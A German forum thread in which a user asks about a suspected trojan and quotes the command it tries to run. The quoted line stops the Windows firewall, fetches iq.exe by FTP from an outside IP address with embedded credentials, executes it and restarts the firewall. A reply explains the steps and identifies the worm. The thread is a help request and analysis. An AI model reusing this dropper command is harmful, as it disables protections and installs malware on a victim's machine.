merkwürdiger trojaner

01/01/2008 17:53 ushon#1
hm. hab nen merkwürdigen trojaner aufm comp. macht taskmanager auf will cmd starten und das schreiben: cm/c net stopSharedAccess &echo open 87.123.239.115 44752 >> ij &echo user d3m0n3 d4rk3v1l >> ij &echo get iq.exe >> ij &echo bye >> ij &ftp -n -v -s:ij &del ij &iq.exe &net start SharedAccess &exit

hat jemand ne idee was er machen will. und wer is dieser demone darkevil?
btw soll ich gleich noch hihjackthis posten?
01/01/2008 20:12 invisible#2
Er öffnen einen Pfad zum Server 87.123.239.115 auf Port 44752, meldet sich als User d3m0n3 d4rk3v1l an und läd die Datei iq.exe runter, danach schließt er die Verbindung wieder. Davon abgesehen stoppt er die Windows Firewall, bzw startet sie wieder.

Das Übrigens kein Trojaner sondern nen Virus, um genauer zu sein der W32/Sdbot.worm!ftp

mfg
01/01/2008 21:01 Hybrid#3
[Only registered and activated users can see links. Click Here To Register...]